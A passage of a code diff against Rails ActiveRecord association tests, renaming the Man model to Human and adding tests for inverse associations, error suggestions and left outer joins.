+    face.description = "gormless"
+    assert_equal face.description, human.face.description, "Description of face should be the same after changes to child instance"
+    human.face.description = "pleasing"
+    assert_equal face.description, human.face.description, "Description of face should be the same after changes to parent-owned instance"
   end
 
   def test_child_instance_should_be_shared_with_newly_built_parent
-    f = faces(:trusting)
-    m = f.build_man(name: "Charles")
-    assert_not_nil m.face
-    assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
-    f.description = "gormless"
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
-    m.face.description = "pleasing"
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to just-built-parent-owned instance"
+    face = faces(:trusting)
+    human = face.build_human(name: "Charles")
+    assert_not_nil human.face
+    assert_equal face.description, human.face.description, "Description of face should be the same before changes to child instance"
+    face.description = "gormless"
+    assert_equal face.description, human.face.description, "Description of face should be the same after changes to child instance"
+    human.face.description = "pleasing"
+    assert_equal face.description, human.face.description, "Description of face should be the same after changes to just-built-parent-owned instance"
   end
 
   def test_child_instance_should_be_shared_with_newly_created_parent
-    f = faces(:trusting)
-    m = f.create_man(name: "Charles")
-    assert_not_nil m.face
-    assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
-    f.description = "gormless"
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
-    m.face.description = "pleasing"
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to newly-created-parent-owned instance"
+    face = faces(:trusting)
+    human = face.create_human(name: "Charles")
+    assert_not_nil human.face
+    assert_equal face.description, human.face.description, "Description of face should be the same before changes to child instance"
+    face.description = "gormless"
+    assert_equal face.description, human.face.description, "Description of face should be the same after changes to child instance"
+    human.face.description = "pleasing"
+    assert_equal face.description, human.face.description, "Description of face should be the same after changes to newly-created-parent-owned instance"
   end
 
   def test_should_not_try_to_set_inverse_instances_when_the_inverse_is_a_has_many
-    i = interests(:trainspotting)
-    m = i.man
-    assert_not_nil m.interests
-    iz = m.interests.detect { |_iz| _iz.id == i.id }
+    interest = interests(:trainspotting)
+    human = interest.human
+    assert_not_nil human.interests
+    iz = human.interests.detect { |_iz| _iz.id == interest.id }
     assert_not_nil iz
-    assert_equal i.topic, iz.topic, "Interest topics should be the same before changes to child"
-    i.topic = "Eating cheese with a spoon"
-    assert_not_equal i.topic, iz.topic, "Interest topics should not be the same after changes to child"
+    assert_equal interest.topic, iz.topic, "Interest topics should be the same before changes to child"
+    interest.topic = "Eating cheese with a spoon"
+    assert_not_equal interest.topic, iz.topic, "Interest topics should not be the same after changes to child"
     iz.topic = "Cow tipping"
-    assert_not_equal i.topic, iz.topic, "Interest topics should not be the same after changes to parent-owned instance"
+    assert_not_equal interest.topic, iz.topic, "Interest topics should not be the same after changes to parent-owned instance"
+  end
+
+  def test_with_has_many_inversing_should_try_to_set_inverse_instances_when_the_inverse_is_a_has_many
+    with_has_many_inversing(Interest) do
+      interest = interests(:trainspotting)
+      human = interest.human
+      assert_not_nil human.interests
+      iz = human.interests.detect { |_iz| _iz.id == interest.id }
+      assert_not_nil iz
+      assert_equal interest.topic, iz.topic, "Interest topics should be the same before changes to child"
+      interest.topic = "Eating cheese with a spoon"
+      assert_equal interest.topic, iz.topic, "Interest topics should be the same after changes to child"
+      iz.topic = "Cow tipping"
+      assert_equal interest.topic, iz.topic, "Interest topics should be the same after changes to parent-owned instance"
+    end
+  end
+
+  def test_with_has_many_inversing_should_have_single_record_when_setting_record_through_attribute_in_build_method
+    with_has_many_inversing(Interest) do
+      human = Human.create!
+      human.interests.build(
+        human: human
+      )
+      assert_equal 1, human.interests.size
+      human.save!
+      assert_equal 1, human.interests.size
+    end
+  end
+
+  def test_with_has_many_inversing_does_not_trigger_association_callbacks_on_set_when_the_inverse_is_a_has_many
+    with_has_many_inversing(Interest) do
+      human = interests(:trainspotting).human_with_callbacks
+      assert_not_predicate human, :add_callback_called?
+    end
+  end
+
+  def test_with_has_many_inversing_does_not_add_duplicate_associated_objects
+    with_has_many_inversing(Interest) do
+      human = Human.new
+      interest = Interest.new(human: human)
+      human.interests << interest
+      assert_equal 1, human.interests.size
+    end
+  end
+
+  def test_with_has_many_inversing_does_not_add_unsaved_duplicate_records_when_collection_is_loaded
+    with_has_many_inversing(Interest) do
+      human = Human.create!
+      human.interests.load
+      interest = Interest.new(human: human)
+      human.interests << interest
+      assert_equal 1, human.interests.size
+    end
+  end
+
+  def test_with_has_many_inversing_does_not_add_saved_duplicate_records_when_collection_is_loaded
+    with_has_many_inversing(Interest) do
+      human = Human.create!
+      human.interests.load
+      interest = Interest.create!(human: human)
+      human.interests << interest
+      assert_equal 1, human.interests.size
+    end
+  end
+
+  def test_recursive_model_has_many_inversing
+    with_has_many_inversing do
+      main = Branch.create!
+      feature = main.branches.create!
+      topic = feature.branches.build
+
+      assert_equal(main, topic.branch.branch)
+    end
+  end
+
+  def test_recursive_inverse_on_recursive_model_has_many_inversing
+    with_has_many_inversing do
+      main = BrokenBranch.create!
+      feature = main.branches.create!
+      topic = feature.branches.build
+
+      error = assert_raises(ActiveRecord::InverseOfAssociationRecursiveError) do
+        topic.branch.branch
+      end
+
+      assert_equal("Inverse association branch (:branch in BrokenBranch) is recursive.", error.message)
+    end
+  end
+
+  def test_unscope_does_not_set_inverse_when_incorrect
+    interest = interests(:trainspotting)
+    human = interest.human
+    created_human = Human.create(name: "wrong human")
+    found_interest = created_human.interests.or(human.interests).detect { |this_interest| interest.id == this_interest.id }
+
+    assert_equal human, found_interest.human
+  end
+
+  def test_or_does_not_set_inverse_when_incorrect
+    interest = interests(:trainspotting)
+    human = interest.human
+    created_human = Human.create(name: "wrong human")
+    found_interest = created_human.interests.unscope(:where).detect { |this_interest| interest.id == this_interest.id }
+
+    assert_equal human, found_interest.human
   end
 
   def test_child_instance_should_be_shared_with_replaced_via_accessor_parent
-    f = Face.first
-    m = Man.new(name: "Charles")
-    f.man = m
-    assert_not_nil m.face
-    assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
-    f.description = "gormless"
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
-    m.face.description = "pleasing"
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to replaced-parent-owned instance"
+    face = Face.first
+    human = Human.new(name: "Charles")
+    face.human = human
+    assert_not_nil human.face
+    assert_equal face.description, human.face.description, "Description of face should be the same before changes to child instance"
+    face.description = "gormless"
+    assert_equal face.description, human.face.description, "Description of face should be the same after changes to child instance"
+    human.face.description = "pleasing"
+    assert_equal face.description, human.face.description, "Description of face should be the same after changes to replaced-parent-owned instance"
   end
 
   def test_trying_to_use_inverses_that_dont_exist_should_raise_an_error
-    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.horrible_man }
+    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.confused_human }
+  end
+
+  def test_trying_to_use_inverses_that_dont_exist_should_have_suggestions_for_fix
+    error = assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) {
+      Face.first.confused_human
+    }
+
+    assert_match "Did you mean?", error.detailed_message
+    assert_equal "confused_face", error.corrections.first
+  end
+
+  def test_building_has_many_parent_association_inverses_one_record
+    with_has_many_inversing(Interest) do
+      interest = Interest.new
+      interest.build_human
+      assert_equal 1, interest.human.interests.size
+      interest.save!
+      assert_equal 1, interest.human.interests.size
+    end
   end
 end
 
 class InversePolymorphicBelongsToTests < ActiveRecord::TestCase
-  fixtures :men, :faces, :interests
+  fixtures :humans, :faces, :interests
 
   def test_child_instance_should_be_shared_with_parent_on_find
-    f = Face.all.merge!(where: { description: "confused" }).first
-    m = f.polymorphic_man
-    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same before changes to child instance"
-    f.description = "gormless"
-    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to child instance"
-    m.polymorphic_face.description = "pleasing"
-    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to parent-owned instance"
+    face = Face.all.merge!(where: { description: "confused" }).first
+    human = face.polymorphic_human
+    assert_equal face.description, human.polymorphic_face.description, "Description of face should be the same before changes to child instance"
+    face.description = "gormless"
+    assert_equal face.description, human.polymorphic_face.description, "Description of face should be the same after changes to child instance"
+    human.polymorphic_face.description = "pleasing"
+    assert_equal face.description, human.polymorphic_face.description, "Description of face should be the same after changes to parent-owned instance"
   end
 
   def test_eager_loaded_child_instance_should_be_shared_with_parent_on_find
-    f = Face.all.merge!(where: { description: "confused" }, includes: :man).first
-    m = f.polymorphic_man
-    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same before changes to child instance"
-    f.description = "gormless"
-    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to child instance"
-    m.polymorphic_face.description = "pleasing"
-    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to parent-owned instance"
-
-    f = Face.all.merge!(where: { description: "confused" }, includes: :man, order: "men.id").first
-    m = f.polymorphic_man
-    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same before changes to child instance"
-    f.description = "gormless"
-    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to child instance"
-    m.polymorphic_face.description = "pleasing"
-    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to parent-owned instance"
+    face = Face.all.merge!(where: { description: "confused" }, includes: :human).first
+    human = face.polymorphic_human
+    assert_equal face.description, human.polymorphic_face.description, "Description of face should be the same before changes to child instance"
+    face.description = "gormless"
+    assert_equal face.description, human.polymorphic_face.description, "Description of face should be the same after changes to child instance"
+    human.polymorphic_face.description = "pleasing"
+    assert_equal face.description, human.polymorphic_face.description, "Description of face should be the same after changes to parent-owned instance"
+
+    face = Face.all.merge!(where: { description: "confused" }, includes: :human, order: "humans.id").first
+    human = face.polymorphic_human
+    assert_equal face.description, human.polymorphic_face.description, "Description of face should be the same before changes to child instance"
+    face.description = "gormless"
+    assert_equal face.description, human.polymorphic_face.description, "Description of face should be the same after changes to child instance"
+    human.polymorphic_face.description = "pleasing"
+    assert_equal face.description, human.polymorphic_face.description, "Description of face should be the same after changes to parent-owned instance"
   end
 
   def test_child_instance_should_be_shared_with_replaced_via_accessor_parent
     face = faces(:confused)
-    new_man = Man.new
+    new_human = Human.new
 
-    assert_not_nil face.polymorphic_man
-    face.polymorphic_man = new_man
+    assert_not_nil face.polymorphic_human
+    face.polymorphic_human = new_human
 
-    assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same before changes to parent instance"
+    assert_equal face.description, new_human.polymorphic_face.description, "Description of face should be the same before changes to parent instance"
     face.description = "Bongo"
-    assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same after changes to parent instance"
-    new_man.polymorphic_face.description = "Mungo"
-    assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same after changes to replaced-parent-owned instance"
+    assert_equal face.description, new_human.polymorphic_face.description, "Description of face should be the same after changes to parent instance"
+    new_human.polymorphic_face.description = "Mungo"
+    assert_equal face.description, new_human.polymorphic_face.description, "Description of face should be the same after changes to replaced-parent-owned instance"
   end
 
-  def test_child_instance_should_be_shared_with_replaced_via_method_parent
-    face = faces(:confused)
-    new_man = Man.new
+  def test_inversed_instance_should_not_be_reloaded_after_stale_state_changed
+    new_human = Human.new
+    face = Face.new
+    new_human.face = face
 
-    assert_not_nil face.polymorphic_man
-    face.polymorphic_man = new_man
+    old_inversed_human = face.human
+    new_human.save!
+    new_inversed_human = face.human
 
-    assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same before changes to parent instance"
-    face.description = "Bongo"
-    assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same after changes to parent instance"
-    new_man.polymorphic_face.description = "Mungo"
-    assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same after changes to replaced-parent-owned instance"
+    assert_same old_inversed_human, new_inversed_human
   end
 
-  def test_inversed_instance_should_not_be_reloaded_after_stale_state_changed
-    new_man = Man.new
-    face = Face.new
-    new_man.face = face
+  def test_inversed_instance_should_not_be_reloaded_after_stale_state_changed_with_validation
+    face = Face.new human: Human.new
 
-    old_inversed_man = face.man
-    new_man.save!
-    new_inversed_man = face.man
+    old_inversed_human = face.human
+    face.save!
+    new_inversed_human = face.human
 
-    assert_equal old_inversed_man.object_id, new_inversed_man.object_id
+    assert_same old_inversed_human, new_inversed_human
+  end
+
+  def test_inversed_instance_should_load_after_autosave_if_it_is_not_already_loaded
+    human = Human.create!
+    human.create_autosave_face!
+
+    human.autosave_face.reload # clear cached load of autosave_human
+    human.autosave_face.description = "new description"
+    human.save!
+
+    assert_not_nil human.autosave_face.autosave_human
   end
 
   def test_should_not_try_to_set_inverse_instances_when_the_inverse_is_a_has_many
-    i = interests(:llama_wrangling)
-    m = i.polymorphic_man
-    assert_not_nil m.polymorphic_interests
-    iz = m.polymorphic_interests.detect { |_iz| _iz.id == i.id }
+    interest = interests(:llama_wrangling)
+    human = interest.polymorphic_human
+    assert_not_nil human.polymorphic_interests
+    iz = human.polymorphic_interests.detect { |_iz| _iz.id == interest.id }
     assert_not_nil iz
-    assert_equal i.topic, iz.topic, "Interest topics should be the same before changes to child"
-    i.topic = "Eating cheese with a spoon"
-    assert_not_equal i.topic, iz.topic, "Interest topics should not be the same after changes to child"
+    assert_equal interest.topic, iz.topic, "Interest topics should be the same before changes to child"
+    interest.topic = "Eating cheese with a spoon"
+    assert_not_equal interest.topic, iz.topic, "Interest topics should not be the same after changes to child"
     iz.topic = "Cow tipping"
-    assert_not_equal i.topic, iz.topic, "Interest topics should not be the same after changes to parent-owned instance"
+    assert_not_equal interest.topic, iz.topic, "Interest topics should not be the same after changes to parent-owned instance"
+  end
+
+  def test_with_has_many_inversing_should_try_to_set_inverse_instances_when_the_inverse_is_a_has_many
+    with_has_many_inversing(Interest) do
+      interest = interests(:llama_wrangling)
+      human = interest.polymorphic_human
+      assert_not_nil human.polymorphic_interests
+      iz = human.polymorphic_interests.detect { |_iz| _iz.id == interest.id }
+      assert_not_nil iz
+      assert_equal interest.topic, iz.topic, "Interest topics should be the same before changes to child"
+      interest.topic = "Eating cheese with a spoon"
+      assert_equal interest.topic, iz.topic, "Interest topics should be the same after changes to child"
+      iz.topic = "Cow tipping"
+      assert_equal interest.topic, iz.topic, "Interest topics should be the same after changes to parent-owned instance"
+    end
+  end
+
+  def test_with_has_many_inversing_does_not_trigger_association_callbacks_on_set_when_the_inverse_is_a_has_many
+    with_has_many_inversing(Interest) do
+      human = interests(:llama_wrangling).polymorphic_human_with_callbacks
+      assert_not_predicate human, :add_callback_called?
+    end
   end
 
   def test_trying_to_access_inverses_that_dont_exist_shouldnt_raise_an_error
     # Ideally this would, if only for symmetry's sake with other association types
-    assert_nothing_raised { Face.first.horrible_polymorphic_man }
+    assert_nothing_raised { Face.first.puzzled_polymorphic_human }
   end
 
   def test_trying_to_set_polymorphic_inverses_that_dont_exist_at_all_should_raise_an_error
-    # fails because no class has the correct inverse_of for horrible_polymorphic_man
-    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.horrible_polymorphic_man = Man.first }
+    # fails because no class has the correct inverse_of for puzzled_polymorphic_human
+    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.puzzled_polymorphic_human = Human.first }
   end
 
   def test_trying_to_set_polymorphic_inverses_that_dont_exist_on_the_instance_being_set_should_raise_an_error
-    # passes because Man does have the correct inverse_of
-    assert_nothing_raised { Face.first.polymorphic_man = Man.first }
+    # passes because Human does have the correct inverse_of
+    assert_nothing_raised { Face.first.polymorphic_human = Human.first }
     # fails because Interest does have the correct inverse_of
-    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.polymorphic_man = Interest.first }
+    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.polymorphic_human = Interest.first }
   end
 end
 
 # NOTE - these tests might not be meaningful, ripped as they were from the parental_control plugin
 # which would guess the inverse rather than look for an explicit configuration option.
 class InverseMultipleHasManyInversesForSameModel < ActiveRecord::TestCase
-  fixtures :men, :interests, :zines
+  fixtures :humans, :interests, :zines
 
   def test_that_we_can_load_associations_that_have_the_same_reciprocal_name_from_different_models
     assert_nothing_raised do
-      i = Interest.first
-      i.zine
-      i.man
+      interest = Interest.first
+      interest.zine
+      interest.human
     end
   end
 
   def test_that_we_can_create_associations_that_have_the_same_reciprocal_name_from_different_models
     assert_nothing_raised do
-      i = Interest.first
-      i.build_zine(title: "Get Some in Winter! 2008")
-      i.build_man(name: "Gordon")
-      i.save!
+      interest = Interest.first
+      interest.build_zine(title: "Get Some in Winter! 2008")
+      interest.build_human(name: "Gordon")
+      interest.save!
     end
   end
 end
diff --git a/activerecord/test/cases/associations/join_model_test.rb b/activerecord/test/cases/associations/join_model_test.rb
index a4345f3857744..fd1efb585371b 100644
--- a/activerecord/test/cases/associations/join_model_test.rb
+++ b/activerecord/test/cases/associations/join_model_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/tag"
 require "models/tagging"
@@ -19,7 +21,7 @@
 class AssociationsJoinModelTest < ActiveRecord::TestCase
   self.use_transactional_tests = false unless supports_savepoints?
 
-  fixtures :posts, :authors, :categories, :categorizations, :comments, :tags, :taggings, :author_favorites, :vertices, :items, :books,
+  fixtures :posts, :authors, :author_addresses, :categories, :categorizations, :comments, :tags, :taggings, :author_favorites, :vertices, :items, :books,
     # Reload edges table from fixtures as otherwise repeated test was failing
     :edges
 
@@ -42,11 +44,11 @@ def test_has_many_distinct_through_join_model
 
   def test_has_many_distinct_through_count
     author = authors(:mary)
-    assert !authors(:mary).unique_categorized_posts.loaded?
-    assert_queries(1) { assert_equal 1, author.unique_categorized_posts.count }
-    assert_queries(1) { assert_equal 1, author.unique_categorized_posts.count(:title) }
-    assert_queries(1) { assert_equal 0, author.unique_categorized_posts.where(title: nil).count(:title) }
-    assert !authors(:mary).unique_categorized_posts.loaded?
+    assert_not_predicate authors(:mary).unique_categorized_posts, :loaded?
+    assert_queries_count(1) { assert_equal 1, author.unique_categorized_posts.count }
+    assert_queries_count(1) { assert_equal 1, author.unique_categorized_posts.count(:title) }
+    assert_queries_count(1) { assert_equal 0, author.unique_categorized_posts.where(title: nil).count(:title) }
+    assert_not_predicate authors(:mary).unique_categorized_posts, :loaded?
   end
 
   def test_has_many_distinct_through_find
@@ -97,11 +99,11 @@ def test_polymorphic_has_many_going_through_join_model_with_custom_foreign_key
   end
 
   def test_polymorphic_has_many_create_model_with_inheritance_and_custom_base_class
-    post = SubStiPost.create title: "SubStiPost", body: "SubStiPost body"
-    assert_instance_of SubStiPost, post
+    post = SubAbstractStiPost.create title: "SubAbstractStiPost", body: "SubAbstractStiPost body"
+    assert_instance_of SubAbstractStiPost, post
 
     tagging = tags(:misc).taggings.create(taggable: post)
-    assert_equal "SubStiPost", tagging.taggable_type
+    assert_equal "SubAbstractStiPost", tagging.taggable_type
   end
 
   def test_polymorphic_has_many_going_through_join_model_with_inheritance
@@ -339,6 +341,13 @@ def test_unavailable_through_reflection
     assert_raise(ActiveRecord::HasManyThroughAssociationNotFoundError) { authors(:david).nothings }
   end
 
+  def test_exceptions_have_suggestions_for_fix
+    error = assert_raise(ActiveRecord::HasManyThroughAssociationNotFoundError) {
+      authors(:david).nothings
+    }
+    assert_match "Did you mean?", error.detailed_message
+  end
+
   def test_has_many_through_join_model_with_conditions
     assert_equal [], posts(:welcome).invalid_taggings
     assert_equal [], posts(:welcome).invalid_tags
@@ -367,7 +376,7 @@ def test_has_many_polymorphic_associations_merges_through_scope
     Tag.has_many :null_taggings, -> { none }, class_name: :Tagging
     Tag.has_many :null_tagged_posts, through: :null_taggings, source: "taggable", source_type: "Post"
     assert_equal [], tags(:general).null_tagged_posts
-    refute_equal [], tags(:general).tagged_posts
+    assert_not_equal [], tags(:general).tagged_posts
   end
 
   def test_eager_has_many_polymorphic_with_source_type
@@ -402,7 +411,7 @@ def test_has_many_through_has_many_find_by_id
   end
 
   def test_has_many_through_polymorphic_has_one
-    assert_equal Tagging.find(1, 2).sort_by(&:id), authors(:david).taggings_2
+    assert_equal Tagging.find(1, 2).sort_by(&:id), authors(:david).taggings_2.sort_by(&:id)
   end
 
   def test_has_many_through_polymorphic_has_many
@@ -421,7 +430,7 @@ def test_eager_load_has_many_through_has_many
     author = Author.all.merge!(where: ["name = ?", "David"], includes: :comments, order: "comments.id").first
     SpecialComment.new; VerySpecialComment.new
     assert_no_queries do
-      assert_equal [1, 2, 3, 5, 6, 7, 8, 9, 10, 12], author.comments.collect(&:id)
+      assert_equal [1, 2, 3, 5, 6, 7, 8, 9, 10, 12, 13], author.comments.collect(&:id)
     end
   end
 
@@ -452,8 +461,8 @@ def test_add_to_self_referential_has_many_through
 
   def test_has_many_through_uses_conditions_specified_on_the_has_many_association
     author = Author.first
-    assert author.comments.present?
-    assert author.nonexistent_comments.blank?
+    assert_predicate author.comments, :present?
+    assert_predicate author.nonexistent_comments, :blank?
   end
 
   def test_has_many_through_uses_correct_attributes
@@ -465,27 +474,27 @@ def test_associating_unsaved_records_with_has_many_through
     new_tag = Tag.new(name: "new")
 
     saved_post.tags << new_tag
-    assert new_tag.persisted? #consistent with habtm!
-    assert saved_post.persisted?
+    assert_predicate new_tag, :persisted? # consistent with habtm!
+    assert_predicate saved_post, :persisted?
     assert_includes saved_post.tags, new_tag
 
-    assert new_tag.persisted?
+    assert_predicate new_tag, :persisted?
     assert_includes saved_post.reload.tags.reload, new_tag
 
     new_post = Post.new(title: "Association replacement works!", body: "You best believe it.")
     saved_tag = tags(:general)
 
     new_post.tags << saved_tag
-    assert !new_post.persisted?
-    assert saved_tag.persisted?
+    assert_not_predicate new_post, :persisted?
+    assert_predicate saved_tag, :persisted?
     assert_includes new_post.tags, saved_tag
 
     new_post.save!
-    assert new_post.persisted?
+    assert_predicate new_post, :persisted?
     assert_includes new_post.reload.tags.reload, saved_tag
 
-    assert !posts(:thinking).tags.build.persisted?
-    assert !posts(:thinking).tags.new.persisted?
+    assert_not_predicate posts(:thinking).tags.build, :persisted?
+    assert_not_predicate posts(:thinking).tags.new, :persisted?
   end
 
   def test_create_associate_when_adding_to_has_many_through
@@ -494,25 +503,25 @@ def test_create_associate_when_adding_to_has_many_through
     post_thinking = posts(:thinking)
     assert_nothing_raised { post_thinking.tags << push }
     assert_nil(wrong = post_thinking.tags.detect { |t| t.class != Tag },
-                message = "Expected a Tag in tags collection, got #{wrong.class}.")
+               "Expected a Tag in tags collection, got #{wrong.class}.")
     assert_nil(wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
-                message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
+               "Expected a Tagging in taggings collection, got #{wrong.class}.")
     assert_equal(count + 1, post_thinking.reload.tags.size)
     assert_equal(count + 1, post_thinking.tags.reload.size)
 
     assert_kind_of Tag, post_thinking.tags.create!(name: "foo")
     assert_nil(wrong = post_thinking.tags.detect { |t| t.class != Tag },
-                message = "Expected a Tag in tags collection, got #{wrong.class}.")
+               "Expected a Tag in tags collection, got #{wrong.class}.")
     assert_nil(wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
-                message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
+               "Expected a Tagging in taggings collection, got #{wrong.class}.")
     assert_equal(count + 2, post_thinking.reload.tags.size)
     assert_equal(count + 2, post_thinking.tags.reload.size)
 
     assert_nothing_raised { post_thinking.tags.concat(Tag.create!(name: "abc"), Tag.create!(name: "def")) }
     assert_nil(wrong = post_thinking.tags.detect { |t| t.class != Tag },
-                message = "Expected a Tag in tags collection, got #{wrong.class}.")
+               "Expected a Tag in tags collection, got #{wrong.class}.")
     assert_nil(wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
-                message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
+               "Expected a Tagging in taggings collection, got #{wrong.class}.")
     assert_equal(count + 4, post_thinking.reload.tags.size)
     assert_equal(count + 4, post_thinking.tags.reload.size)
 
@@ -526,15 +535,15 @@ def test_add_to_join_table_with_no_id
 
   def test_has_many_through_collection_size_doesnt_load_target_if_not_loaded
     author = authors(:david)
-    assert_equal 10, author.comments.size
-    assert !author.comments.loaded?
+    assert_equal 11, author.comments.size
+    assert_not_predicate author.comments, :loaded?
   end
 
   def test_has_many_through_collection_size_uses_counter_cache_if_it_exists
     c = categories(:general)
     c.categorizations_count = 100
     assert_equal 100, c.categorizations.size
-    assert !c.categorizations.loaded?
+    assert_not_predicate c.categorizations, :loaded?
   end
 
   def test_adding_junk_to_has_many_through_should_raise_type_mismatch
@@ -708,7 +717,7 @@ def test_has_many_through_include_uses_array_include_after_loaded
     category = david.categories.first
 
     assert_no_queries do
-      assert david.categories.loaded?
+      assert_predicate david.categories, :loaded?
       assert_includes david.categories, category
     end
   end
@@ -718,26 +727,26 @@ def test_has_many_through_include_checks_if_record_exists_if_target_not_loaded
     category = david.categories.first
 
     david.reload
-    assert ! david.categories.loaded?
-    assert_queries(1) do
+    assert_not_predicate david.categories, :loaded?
+    assert_queries_count(1) do
       assert_includes david.categories, category
     end
-    assert ! david.categories.loaded?
+    assert_not_predicate david.categories, :loaded?
   end
 
   def test_has_many_through_include_returns_false_for_non_matching_record_to_verify_scoping
     david = authors(:david)
     category = Category.create!(name: "Not Associated")
 
-    assert ! david.categories.loaded?
-    assert ! david.categories.include?(category)
+    assert_not_predicate david.categories, :loaded?
+    assert_not david.categories.include?(category)
   end
 
   def test_has_many_through_goes_through_all_sti_classes
     sub_sti_post = SubStiPost.create!(title: "test", body: "test", author_id: 1)
     new_comment = sub_sti_post.comments.create(body: "test")
 
-    assert_equal [9, 10, new_comment.id], authors(:david).sti_post_comments.map(&:id).sort
+    assert_equal [9, 10, 13, new_comment.id], authors(:david).sti_post_comments.map(&:id).sort
   end
 
   def test_has_many_with_pluralize_table_names_false
@@ -763,6 +772,12 @@ def test_proper_error_message_for_eager_load_and_includes_association_errors
     assert_equal("Can't join 'Post' to association named 'nonexistent_relation'; perhaps you misspelled it?", includes_and_eager_load_error.message)
   end
 
+  def test_eager_association_with_scope_with_string_joins
+    assert_nothing_raised do
+      Post.joins(:very_special_comment_with_string_joins).first
+    end
+  end
+
   private
     # create dynamic Post models to allow different dependency options
     def find_post_with_dependency(post_id, association, association_name, dependency)
@@ -770,7 +785,7 @@ def find_post_with_dependency(post_id, association, association_name, dependency
       Post.find(post_id).update_columns type: class_name
       klass = Object.const_set(class_name, Class.new(ActiveRecord::Base))
       klass.table_name = "posts"
-      klass.send(association, association_name, as: :taggable, dependent: dependency)
+      klass.public_send(association, association_name, as: :taggable, dependent: dependency)
       klass.find(post_id)
     end
 end
diff --git a/activerecord/test/cases/associations/left_outer_join_association_test.rb b/activerecord/test/cases/associations/left_outer_join_association_test.rb
index 42dbbad1c8d9b..e2733145062bd 100644
--- a/activerecord/test/cases/associations/left_outer_join_association_test.rb
+++ b/activerecord/test/cases/associations/left_outer_join_association_test.rb
@@ -1,17 +1,32 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/post"
 require "models/comment"
+require "models/rating"
 require "models/author"
 require "models/essay"
+require "models/category"
 require "models/categorization"
 require "models/person"
+require "models/friendship"
+require "models/reference"
+require "models/job"
 
 class LeftOuterJoinAssociationTest < ActiveRecord::TestCase
-  fixtures :authors, :essays, :posts, :comments, :categorizations, :people
+  fixtures :authors, :author_addresses, :essays, :posts, :comments, :ratings, :categorizations, :people
+
+  def test_merging_multiple_left_joins_from_different_associations
+    count = Author.joins(:posts).merge(Post.left_joins(:comments).merge(Comment.left_joins(:ratings))).count
+    assert_equal 17, count
+
+    count = Author.left_joins(:posts).merge(Post.left_joins(:comments).merge(Comment.left_joins(:ratings))).count
+    assert_equal 17, count
+  end
 
   def test_construct_finder_sql_applies_aliases_tables_on_association_conditions
-    result = Author.left_outer_joins(:thinking_posts, :welcome_posts).to_a
-    assert_equal authors(:david), result.first
+    result = Author.left_outer_joins(:thinking_posts, :welcome_posts).first
+    assert_equal authors(:david), result
   end
 
   def test_construct_finder_sql_does_not_table_name_collide_on_duplicate_associations
@@ -25,8 +40,12 @@ def test_construct_finder_sql_does_not_table_name_collide_on_duplicate_associati
   end
 
   def test_left_outer_joins_count_is_same_as_size_of_loaded_results
-    assert_equal 17, Post.left_outer_joins(:comments).to_a.size
-    assert_equal 17, Post.left_outer_joins(:comments).count
+    assert_equal 18, Post.left_outer_joins(:comments).to_a.size
+    assert_equal 18, Post.left_outer_joins(:comments).count
+  end
+
+  def test_merging_left_joins_should_be_left_joins
+    assert_equal 5, Author.left_joins(:posts).merge(Post.no_comments).count
   end
 
   def test_left_joins_aliases_left_outer_joins
@@ -43,6 +62,12 @@ def test_left_outer_joins_actually_does_a_left_outer_join
     assert queries.any? { |sql| /LEFT OUTER JOIN/i.match?(sql) }
   end
 
+  def test_left_outer_joins_is_deduped_when_same_association_is_joined
+    queries = capture_sql { Author.joins(:posts).left_outer_joins(:posts).to_a }
+    assert queries.any? { |sql| /INNER JOIN/i.match?(sql) }
+    assert queries.none? { |sql| /LEFT OUTER JOIN/i.match?(sql) }
+  end
+
   def test_construct_finder_sql_ignores_empty_left_outer_joins_hash
     queries = capture_sql { Author.left_outer_joins({}).to_a }
     assert queries.none? { |sql| /LEFT OUTER JOIN/i.match?(sql) }
@@ -57,9 +82,22 @@ def test_left_outer_joins_forbids_to_use_string_as_argument
     assert_raise(ArgumentError) { Author.left_outer_joins('LEFT OUTER JOIN "posts" ON "posts"."user_id" = "users"."id"').to_a }
   end
 
+  def test_left_outer_joins_with_string_join
+    assert_equal 17, Author.left_outer_joins(:posts).joins("LEFT OUTER JOIN comments ON comments.post_id = posts.id").count
+  end
+
+  def test_left_outer_joins_with_arel_join
+    comments = Comment.arel_table
+    posts = Post.arel_table
